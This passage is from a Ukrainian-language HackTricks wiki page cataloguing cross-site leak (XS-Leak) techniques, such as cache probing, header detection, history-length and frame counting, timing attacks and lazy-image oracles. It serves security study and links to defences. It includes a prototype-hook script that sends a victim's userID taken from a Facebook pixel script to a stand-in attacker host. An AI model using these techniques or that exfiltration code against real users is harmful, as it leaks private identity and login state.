XS-Leak може використовувати CSP, щоб визначити, чи cross-origin сайт був перенаправлений на інший origin. Цей leak може детектувати redirect, а також домен цілі redirect’у витікає. Ідея атаки: дозволити цільовий домен на сайті атакуючого. Після відправлення запиту на цільовий домен він redirect’иться на cross-origin домен. CSP блокує доступ до нього і створює violation report, який використовується як leak technique. Залежно від браузера, this report may leak the target location of the redirect.
Сучасні браузери не завжди вказують URL, куди відбулося перенаправлення, але можна все одно детектувати, що відбулося cross-origin redirect.
Cache
- Методи включення: Frames, Pop-ups
- Детектована різниця: Page Content
- Детальніше: https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events, https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html
- Підсумок: Очистити файл з cache. Відкрити цільову сторінку, перевірити, чи файл присутній у cache.
- Приклад коду:
Браузери можуть використовувати спільний cache для всіх сайтів. Незалежно від origin, можливо визначити, чи цільова сторінка запитувала певний file.
Якщо сторінка завантажує зображення тільки коли користувач залогінений, ви можете invalidate ресурс (щоб він більше не зберігався в cache, див. посилання вище), виконати запит, який міг би завантажити цей ресурс, і спробувати завантажити ресурс з некоректним запитом (наприклад, з наддовгим referer header). Якщо завантаження ресурсу не спричинило помилку, це означає, що він був cached.
CSP Directive
- Методи включення: Frames
- Детектована різниця: Header
- Детальніше: https://bugs.chromium.org/p/chromium/issues/detail?id=1105875
- Підсумок: CSP header directives можна опитувати через CSP iframe attribute, що розкриває деталі політики.
- Приклад коду: https://xsinator.com/testing.html#CSP%20Directive%20Leak
Нова можливість у Google Chrome (GC) дозволяє веб-сторінкам пропонувати Content Security Policy (CSP) шляхом встановлення атрибуту на елементі iframe, при цьому директиви політики передаються разом з HTTP-запитом. Зазвичай вбудований контент має авторизувати це через HTTP header, або показується error page. Проте якщо iframe вже керується CSP і запропонована політика не є більш суворою, сторінка завантажиться нормально. Цей механізм відкриває шлях для атакуючого щоб детектувати конкретні CSP directives cross-origin сторінки, ідентифікуючи error page. Хоч ця вразливість була позначена як виправлена, наші знахідки показують нову leak technique, яка здатна детектувати error page, натякаючи, що базова проблема не була повністю вирішена.
CORP
- Методи включення: Fetch API
- Детектована різниця: Header
- Детальніше: https://xsleaks.dev/docs/attacks/browser-features/corp/
- Підсумок: Ресурси, захищені Cross-Origin Resource Policy (CORP), будуть кидати помилку при fetch-запиті з забороненого origin.
- Приклад коду: https://xsinator.com/testing.html#CORP%20Leak
CORP header — відносно нова можливість веб-платформи безпеки, яка блокує no-cors cross-origin requests до заданого ресурсу. Наявність цього header’а можна детектувати, тому що ресурс, захищений CORP, буде кидати помилку при fetch.
CORB
- Методи включення: HTML Elements
- Детектована різниця: Headers
- Детальніше: https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header
- Підсумок: CORB дозволяє атакуючим визначати наявність
nosniffheader у відповіді. - Приклад коду: https://xsinator.com/testing.html#CORB%20Leak
Перегляньте посилання для детальнішої інформації про атаку.
CORS error on Origin Reflection misconfiguration
- Методи включення: Fetch API
- Детектована різниця: Headers
- Детальніше: https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration
- Підсумок: Якщо Origin header відображається у Access-Control-Allow-Origin, можна перевірити, чи ресурс вже знаходиться в cache.
- Приклад коду: https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration
Якщо Origin header відображається в заголовку Access-Control-Allow-Origin, атакуючий може зловживати цією поведінкою, намагаючись fetch ресурс у CORS режимі. Якщо помилка не виникає, це означає, що ресурс був правильно отриманий з мережі; якщо виникає помилка, це тому, що він був отриманий із cache (помилка з’являється, бо cache зберігає відповідь з CORS header, що дозволяє оригінальний домен, а не домен атакуючого).
Зверніть увагу, що якщо origin не відображається, але використовується wildcard (Access-Control-Allow-Origin: *), це не спрацює.
Readable Attributes Technique
Fetch Redirect
- Методи включення: Fetch API
- Детектована різниця: Status Code
- Детальніше: https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html
- Підсумок: GC і SA дозволяють перевіряти
response.type(opaque-redirect) після завершення redirect. - Приклад коду: https://xsinator.com/testing.html#Fetch%20Redirect%20Leak
Надсилаючи запит через Fetch API з redirect: "manual" та іншими параметрами, можна прочитати атрибут response.type, і якщо він дорівнює opaqueredirect, то відповідь була redirect.
COOP
- Методи включення: Pop-ups
- Детектована різниця: Header
- Детальніше: https://xsinator.com/paper.pdf (5.4), https://xsleaks.dev/docs/attacks/window-references/
- Підсумок: Сторінки, захищені Cross-Origin Opener Policy (COOP), перешкоджають доступу з cross-origin взаємодій.
- Приклад коду: https://xsinator.com/testing.html#COOP%20Leak
Атакуючий може визначити наявність заголовка Cross-Origin Opener Policy (COOP) у cross-origin HTTP відповіді. COOP використовується для запобігання отримання довільних window references з зовнішніх сайтів. Видимість цього header’а можна визначити, намагаючись отримати contentWindow reference. У випадках, коли COOP застосовується умовно, властивість opener стає показовим індикатором: вона буде undefined коли COOP активний, і defined, коли його немає.
URL Max Length - Server Side
- Методи включення: Fetch API, HTML Elements
- Детектована різниця: Status Code / Content
- Детальніше: https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects
- Підсумок: Визначайте відмінності у відповідях через те, що довжина redirect URL може бути занадто великою і сервер відповість помилкою або згенерує alert.
- Приклад коду: https://xsinator.com/testing.html#URL%20Max%20Length%20Leak
Якщо server-side redirect використовує user input всередині redirect’у і додає додаткові дані, можливо виявити таку поведінку, бо зазвичай servers мають обмеження на довжину запиту. Якщо user data близька до цього ліміту, а redirect додає ще щось зверху, це може викликати помилку, детектовану через Error Events.
Якщо ви якось можете встановити cookies для користувача, ви також можете виконати атаку, встановивши достатньо cookies (cookie bomb), щоб через збільшений розмір response правильна відповідь спричинила помилку. У цьому випадку пам’ятайте, що якщо ви викликаєте цей запит з того ж сайту, <script> автоматично відправить cookies (тому можна перевіряти помилки).
Приклад поєднання cookie bomb + XS-Search можна знайти в Intended solution цього writeup: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended
Для такого типу атаки зазвичай потрібен SameSite=None або щоб cookie були в тому ж контексті.
URL Max Length - Client Side
- Методи включення: Pop-ups
- Детектована різниця: Status Code / Content
- Детальніше: https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit
- Підсумок: Визначати відмінності у відповідях через те, що redirect URL може бути занадто великим для браузера і це помітно.
- Приклад коду: https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit
Згідно з документацією Chromium, максимальна довжина URL у Chrome — 2MB.
Загалом web platform не накладає жорстких обмежень на довжину URL (хоча 2^31 є поширеним лімітом). Chrome обмежує URL розміром до 2MB з практичних причин та щоб уникнути DoS проблем в міжпроцесній комунікації.
Отже, якщо redirect URL відповіді буде більшим у одному з випадків, можна змусити його redirect’итись на URL більший за 2MB, щоб потрапити в межу довжини. Коли це відбувається, Chrome показує сторінку about:blank#blocked.
Помітна різниця: якщо redirect було виконано, window.origin викличе помилку, бо cross-origin не можна отримати цю інформацію. Однак якщо було досягнуто ліміту і завантажена сторінка була about:blank#blocked, origin вікна залишиться origin батьківської сторінки і буде доступною інформацією.
Усі додаткові дані, потрібні, щоб досягти 2MB, можна додати через hash в початковому URL, щоб вони були використані в redirect’і.
Max Redirects
- Методи включення: Fetch API, Frames
- Детектована різниця: Status Code
- Детальніше: https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76
- Підсумок: Використати ліміт браузера на кількість redirect’ів, щоб з’ясувати наявність URL редиректів.
- Приклад коду: https://xsinator.com/testing.html#Max%20Redirect%20Leak
Якщо максимальна кількість redirect’ів, які браузер слідкує — 20, атакуючий може спробувати завантажити свою сторінку з 19 redirects і нарешті відправити жертву на тестовану сторінку. Якщо виникає помилка, значить сторінка намагалася redirect’нути жертву.
History Length
- Методи включення: Frames, Pop-ups
- Детектована різниця: Redirects
- Детальніше: https://xsleaks.dev/docs/attacks/navigations/
- Підсумок: JavaScript може маніпулювати browser history, яка зберігає сторінки, відвідані користувачем, і доступна через властивість length.
- Приклад коду: https://xsinator.com/testing.html#History%20Length%20Leak
History API дозволяє JavaScript маніпулювати browser history, яка зберігає сторінки, відвідані користувачем. Атакуючий може використати властивість length як метод включення: детектувати JavaScript і HTML навігацію.
Перевірка history.length, змусити користувача перейти на сторінку, повернутися назад у same-origin і перевірити нове значення history.length.
History Length with same URL
- Методи включення: Frames, Pop-ups
- Детектована різниця: If URL is the same as the guessed one
- Підсумок: Можна вгадати, чи знаходиться frame/pop-up на конкретному URL, зловживаючи history length.
- Приклад коду: Нижче
Атакуючий може використати JavaScript, щоб змінити місцезнаходження frame/pop-up на вгаданий URL і одразу після цього змінити його на about:blank. Якщо history length збільшився, це означає, що URL був правильним і встиг збільшити історію (бо URL не перезавантажується, якщо він такий самий). Якщо не збільшився — це означає, що спробували завантажити вгаданий URL, але ми одразу після цього завантажили about:blank, тому history length ніколи не збільшився при завантаженні вгаданого URL.
async function debug(win, url) {
win.location = url + "#aaa"
win.location = "about:blank"
await new Promise((r) => setTimeout(r, 500))
return win.history.length
}
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=c"))
win.close()
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=b"))
Frame Counting
- Методи включення: Frames, Pop-ups
- Виявлена різниця: Page Content
- Детальніше: https://xsleaks.dev/docs/attacks/frame-counting/
- Коротко: Evaluate the quantity of iframe elements by inspecting the
window.lengthproperty. - Приклад коду: https://xsinator.com/testing.html#Frame%20Count%20Leak
Підрахунок кількості frames на сторінці, відкритої через iframe або window.open, може допомогти визначити стан користувача щодо цієї сторінки.
Крім того, якщо на сторінці завжди однакова кількість frames, постійна перевірка кількості frames може виявити патерн, який може leak інформацію.
Приклад цієї техніки: у Chrome PDF можна виявити за допомогою frame counting, оскільки внутрішньо використовується embed. Існують Open URL Parameters, що дозволяють частково контролювати вміст (наприклад zoom, view, page, toolbar), де ця техніка може бути корисною.
HTMLElements
- Методи включення: HTML Elements
- Виявлена різниця: Page Content
- Детальніше: https://xsleaks.dev/docs/attacks/element-leaks/
- Коротко: Read the leaked value to distinguish between 2 possible states
- Приклад коду: https://xsleaks.dev/docs/attacks/element-leaks/, https://xsinator.com/testing.html#Media%20Dimensions%20Leak, https://xsinator.com/testing.html#Media%20Duration%20Leak
Витоки інформації через HTML elements становлять проблему в веб-безпеці, особливо коли динамічні медіа-файли генеруються на основі даних користувача або коли додаються водяні знаки, що змінюють розміри медіа. Це може бути використано нападниками для розрізнення можливих станів шляхом аналізу інформації, яку надають певні HTML елементи.
Інформація, що розкривається через HTML Elements
- HTMLMediaElement: Цей елемент розкриває
durationтаbufferedчаси медіа, до яких можна звертатись через його API. Read more about HTMLMediaElement - HTMLVideoElement: Він надає
videoHeightіvideoWidth. У деяких браузерах доступні додаткові властивості, такі якwebkitVideoDecodedByteCount,webkitAudioDecodedByteCountіwebkitDecodedFrameCount, що дають більш детальну інформацію про медіа. Read more about HTMLVideoElement - getVideoPlaybackQuality(): Ця функція повертає деталі якості відтворення відео, включно з
totalVideoFrames, що може вказувати на обсяг оброблених відео-даних. Read more about getVideoPlaybackQuality() - HTMLImageElement: Цей елемент leak
аєheightтаwidthзображення. Однак, якщо зображення недійсне, ці властивості повернуть 0, аimage.decode()буде відхилено, що вказує на помилку завантаження. Read more about HTMLImageElement
CSS Property
- Методи включення: HTML Elements
- Виявлена різниця: Page Content
- Детальніше: https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle, https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html
- Коротко: Identify variations in website styling that correlate with the user’s state or status.
- Приклад коду: https://xsinator.com/testing.html#CSS%20Property%20Leak
Веб-застосунки можуть змінювати стиль сайту залежно від стану користувача. Cross-origin CSS файли можуть бути вставлені на сторінку нападника за допомогою елементу HTML link, і відповідні правила будуть застосовані до сторінки нападника. Якщо сторінка динамічно змінює ці правила, нападник може виявити ці різниці в залежності від стану користувача.
Як техніка leak, нападник може використовувати метод window.getComputedStyle для читання CSS властивостей конкретного HTML елемента. В результаті нападник може прочитати довільні CSS властивості, якщо відомі уражений елемент і назва властивості.
CSS History
- Методи включення: HTML Elements
- Виявлена різниця: Page Content
- Детальніше: https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history
- Коротко: Detect if the
:visitedstyle is applied to an URL indicating it was already visited - Приклад коду: http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html
Tip
According to this, this is not working in headless Chrome.
Селектор CSS :visited використовується для стилізації URL, якщо вони були раніше відвідані користувачем. Раніше метод getComputedStyle() можна було використовувати для ідентифікації цих відмінностей стилю. Однак сучасні браузери впровадили заходи безпеки, які запобігають витоку стану посилання через цей метод. Ці заходи включають завжди повернення обчисленого стилю як для відвіданого посилання та обмеження стилів, які можна застосувати з :visited.
Незважаючи на ці обмеження, можна опосередковано визначити, чи було посилання відвідане. Одна з технік полягає в тому, щоб обманом змусити користувача взаємодіяти з областю, на яку впливає CSS, зокрема використовуючи властивість mix-blend-mode. Ця властивість дозволяє змішувати елементи з фоном, що потенційно може показати стан :visited на основі взаємодії користувача.
Крім того, детекція може бути досягнута без взаємодії користувача, експлуатуючи часові особливості рендерингу посилань. Оскільки браузери можуть рендерити відвідані та невідвідані посилання по-різному, це може створити вимірювану різницю в часі рендерингу. У звіті-багу Chromium згадано PoC, який демонструє цю техніку з використанням множинних посилань для підсилення часової різниці, що робить стан відвідування детектованим через аналіз часу.
Для додаткових відомостей про ці властивості і методи відвідайте їх документацію:
:visited: MDN DocumentationgetComputedStyle(): MDN Documentationmix-blend-mode: MDN Documentation
ContentDocument X-Frame Leak
- Методи включення: Frames
- Виявлена різниця: Headers
- Детальніше: https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf
- Коротко: In Google Chrome, a dedicated error page is displayed when a page is blocked from being embedded on a cross-origin site due to X-Frame-Options restrictions.
- Приклад коду: https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak
У Chrome, якщо сторінка з заголовком X-Frame-Options, встановленим у “deny” або “same-origin”, вбудовується як object, з’являється сторінка з помилкою. Chrome унікально повертає порожній об’єкт документу (замість null) для властивості contentDocument цього object, на відміну від iframe або інших браузерів. Нападники можуть експлуатувати це, виявляючи порожній документ, що потенційно розкриває інформацію про стан користувача, особливо якщо розробники непослідовно встановлюють заголовок X-Frame-Options, часто забуваючи про сторінки помилок. Усвідомлення та послідовне застосування заголовків безпеки критично для запобігання таким leak.
Download Detection
- Методи включення: Frames, Pop-ups
- Виявлена різниця: Headers
- Детальніше: https://xsleaks.dev/docs/attacks/navigations/#download-trigger
- Коротко: An attacker can discern file downloads by leveraging iframes; continued accessibility of the iframe implies successful file download.
- Приклад коду: https://xsleaks.dev/docs/attacks/navigations/#download-bar
Заголовок Content-Disposition, зокрема Content-Disposition: attachment, наказує браузеру завантажити вміст замість відображення inline. Цю поведінку можна використати для виявлення, чи має користувач доступ до сторінки, яка викликає завантаження файлу. У браузерах на базі Chromium існує кілька технік для виявлення цієї поведінки:
- Моніторинг download bar:
- Коли файл завантажується в Chromium-based браузерах, внизу з’являється download bar.
- Моніторинг змін висоти вікна дозволяє нападникам зробити висновок про появу download bar, натякаючи, що ініційовано завантаження.
- Навігація-завантаження з iframe:
- Коли сторінка викликає завантаження файлу з
Content-Disposition: attachment, це не спричиняє події навігації. - Завантаживши вміст в iframe і відстежуючи події навігації, можна перевірити, чи призвело Content-Disposition до завантаження файлу (немає навігації) чи ні.
- Навігація-завантаження без iframe:
- Схожа на техніку з iframe, але використовує
window.openзамість iframe. - Відстеження подій навігації у щойно відкритому вікні може показати, чи було викликано завантаження файлу (немає навігації) або вміст відображається inline (відбувається навігація).
У випадках, коли тільки аутентифіковані користувачі можуть ініціювати такі завантаження, ці техніки можуть бути використані для непрямого визначення стану автентифікації користувача на основі реакції браузера на запит завантаження.
Partitioned HTTP Cache Bypass
- Методи включення: Pop-ups
- Виявлена різниця: Timing
- Детальніше: https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass
- Коротко: An attacker can discern file downloads by leveraging iframes; continued accessibility of the iframe implies successful file download.
- Приклад коду: https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass, https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722 (from https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)
Warning
This is why this technique is interesting: Chrome now has cache partitioning, and the cache key of the newly opened page is:
(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx), but if I open an ngrok page and use fetch in it, the cache key will be:(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), the cache key is different, so the cache cannot be shared. You can find more detail here: Gaining security and privacy by partitioning the cache
(Comment from here)
Якщо сайт example.com включає ресурс з *.example.com/resource, то цей ресурс матиме той самий caching key, як ніби ресурс був запитаний через top-level navigation. Це тому, що ключ кешу складається з top-level eTLD+1 та frame eTLD+1.
Оскільки доступ до кешу швидший, ніж завантаження ресурсу, можливо спробувати змінити location сторінки і зупинити її через ~20ms після початку. Якщо origin змінився після зупинки, це означає, що ресурс був у кеші.
Або можна просто відправити fetch на потенційно кешовану сторінку та виміряти час, який це займає.
Manual Redirect
- Методи включення: Fetch API
- Виявлена різниця: Redirects
- Детальніше: ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234
- Коротко: It’s possible to find out if a response to a fetch request is a redirect
- Приклад коду:
.png)
Fetch with AbortController
- Методи включення: Fetch API
- Виявлена різниця: Timing
- Детальніше: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller
- Коротко: It’s possible to try to load a resource and about before it’s loaded the loading is interrupted. Depending on if an error is triggered, the resource was or wasn’t cached.
- Приклад коду: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller
Використовуйте fetch і setTimeout з AbortController, щоб одночасно визначити, чи ресурс знаходиться в кеші, та щоб евіктувати конкретний ресурс з кешу браузера. Крім того, процес відбувається без кешування нового вмісту.
Script Pollution
- Методи включення: HTML Elements (script)
- Виявлена різниця: Page Content
- Детальніше: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
- Коротко: It’s possible to overwrite built-in functions and read their arguments which even from cross-origin script (which cannot be read directly), this might leak valuable information.
- Приклад коду: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
Prototype hooks to exfiltrate module-scoped data
Pre-define Function.prototype.default and Function.prototype.__esModule = 1 before loading a module so its default export calls your hook (e.g., receives {userID: ...}), letting you read module-scoped values without timing or brute force.
<script>
Function.prototype.default=(e)=>{if(typeof e.userID==="string")fetch("//attacker.test/?id="+e.userID)}
Function.prototype.__esModule=1
</script>
<script src="https://www.facebook.com/signals/iwl.js?pixel_id=PIXEL_ID"></script>
Запит сам по собі також стає login-state oracle, якщо скрипт завантажується тільки для автентифікованих користувачів.
Service Workers
- Inclusion Methods: Pop-ups
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers
- Summary: Вимірювання часу виконання веб-сторінки з використанням service workers.
- Code Example:
У наведеному сценарії атакер ініціює реєстрацію service worker в одному зі своїх доменів, зокрема “attacker.com”. Далі атакер відкриває нове вікно на цільовому сайті з головного документа і наказує service worker запустити таймер. Коли нове вікно починає завантажуватись, атакер переводить вказаний у попередньому кроці референс на сторінку, якою керує service worker.
Після надходження запиту, ініційованого на попередньому кроці, service worker відповідає зі статусом 204 (No Content), фактично припиняючи навігацію. У цей момент service worker зчитує вимірювання з таймера, запущеного раніше на кроці два. Це вимірювання залежить від тривалості виконання JavaScript, який спричиняє затримки в процесі навігації.
Warning
В execution timing можна eliminate network factors, щоб отримати more precise measurements. Наприклад, завантаживши ресурси, які використовує сторінка, перед її відкриттям.
Fetch Timing
- Inclusion Methods: Fetch API
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks
- Summary: Використовуйте performance.now() для вимірювання часу виконання запиту. Можна використовувати й інші clocks.
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks
Cross-Window Timing
- Inclusion Methods: Pop-ups
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks
- Summary: Використовуйте performance.now() для вимірювання часу виконання запиту за допомогою
window.open. Можна застосовувати й інші clocks. - Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks
Subdomain probing for identity/login state
- Inclusion Methods: HTML Elements (script), Frames
- Detectable Difference: DNS/HTTP load success, CORB/header changes
- Summary: Якщо ідентифікатори містяться в мітках субдоменів (наприклад,
www.<username>.sb.facebook.com), запитуйте ресурси на кандидатних хостах і розглядайтеonloadпротиonerror/timeouts як Boolean. Комбінуйте з login-only скриптами (наприклад,/signals/iwl.js) для brute-force імен користувачів і перевірки аутентифікації на суміжних властивостях. - Note: Signals можна посилити різними типами включення (
script,iframe,object) для виявленняX-Frame-Options,CORBабо відмінностей у редіректах для кожного кандидата.
With HTML or Re Injection
Тут наведені техніки для ексфільтрації інформації з cross-origin HTML при injecting HTML content. Ці техніки корисні у випадках, коли з якихось причин ви можете inject HTML but you cannot inject JS code.
Dangling Markup
Dangling Markup - HTML scriptless injection
Image Lazy Loading
Якщо вам потрібно exfiltrate content і ви можете add HTML previous to the secret, варто перевірити common dangling markup techniques.
Однак, якщо з будь-якої причини ви MUST робити це char by char (можливо, комунікація відбувається через cache hit), ви можете використати цей трюк.
Images в HTML мають атрибут “loading”, значення якого може бути “lazy”. У такому випадку зображення буде завантажуватись, коли його переглядають, а не під час завантаження сторінки:
<img src=/something loading=lazy >
Отже, що ви можете зробити — це додати багато сміттєвих символів (Наприклад тисячі “W”) щоб заповнити веб-сторінку перед секретом або додати щось на кшталт <br><canvas height="1850px"></canvas><br>.
Потім, наприклад, якщо наша injection appear before the flag, то зображення буде завантажене, але якщо воно з’явиться після flag, то flag + сміття перешкодять його завантаженню (вам доведеться поекспериментувати з тим, скільки сміття вставляти). Це те, що сталося в this writeup.
Інший варіант — використати scroll-to-text-fragment, якщо це дозволено:
Scroll-to-text-fragment
Однак ви змушуєте bot access the page з чимось на кшталт
#:~:text=SECR
Отже, веб-сторінка виглядатиме приблизно так: https://victim.com/post.html#:~:text=SECR
Де post.html містить сміттєві символи від атакувальника і lazy load image, а потім додається секрет бота.
Цей фрагмент змусить бота отримати доступ до будь-якого тексту на сторінці, що містить текст SECR. Оскільки цей рядок є секретом і знаходиться просто під зображенням, то зображення завантажиться лише якщо вгаданий символ правильний. Отже, ви отримуєте орaкул для витягування секрету символ за символом.
Some code example to exploit this: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
Ліниве завантаження зображень (на основі часу)
If it’s not possible to load an external image that could indicate the attacker that the image was loaded, another option would be to try to guess the char several times and measure that. If the image is loaded all the requests would take longer that if the image isn’t loaded. This is what was used in the solution of this writeup sumarized here:
Event Loop Blocking + Lazy images
ReDoS
Regular expression Denial of Service - ReDoS
CSS ReDoS
If jQuery(location.hash) is used, it’s possible to find out via timing if some HTML content exists, this is because if the selector main[id='site-main'] doesn’t match it doesn’t need to check the rest of the selectors:
$(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
)
CSS Injection
Захист
Існують рекомендовані заходи пом’якшення, наведені в https://xsinator.com/paper.pdf, а також у кожному розділі wiki на https://xsleaks.dev/. Перегляньте їх для отримання додаткової інформації про те, як захиститися від цих технік.
Посилання
- https://xsinator.com/paper.pdf
- https://xsleaks.dev/
- https://github.com/xsleaks/xsleaks
- https://xsinator.com/
- https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
- Cross-Site Leaks (XS-Leaks) across Meta platforms
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


